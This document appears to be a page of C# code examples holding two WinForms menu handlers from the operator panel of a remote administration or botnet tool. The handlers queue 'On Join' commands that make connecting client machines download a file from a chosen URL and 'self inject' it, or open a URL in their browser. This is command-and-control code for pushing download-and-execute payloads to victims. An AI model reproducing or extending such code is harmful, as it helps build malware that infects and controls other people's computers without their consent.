Пример #1
0
        private void selfInjectToolStripMenuItem_Click(object sender, EventArgs e)
        {
            string url = "";

            if (Input.Show("On Join - DL and Self Inject", "Please provide the URL to download the file from", ref url) != System.Windows.Forms.DialogResult.OK)
            {
                return;
            }
            if (!url.StartsWith("http"))
            {
                MessageBox.Show("You didn't give a URL, remember, it starts with http!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }
            JoinCmds.MainList.Add(new Core.Misc.OnJoinCommand(Core.Misc.JoinCommand.DownloadSelfInject, url));
            SaveCurrentList();
            LoadExisting();
        }
Пример #2
0
        private void normalToolStripMenuItem_Click(object sender, EventArgs e)
        {
            string url = "";

            if (Input.Show("On Join - Visit URL", "Please provide the URL to visit in the default browser", ref url) != System.Windows.Forms.DialogResult.OK)
            {
                return;
            }
            if (!url.StartsWith("http"))
            {
                MessageBox.Show("You didn't give a URL, remember, it starts with http!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }
            JoinCmds.MainList.Add(new Core.Misc.OnJoinCommand(Core.Misc.JoinCommand.VisitURL, url));

            LoadExisting();
        }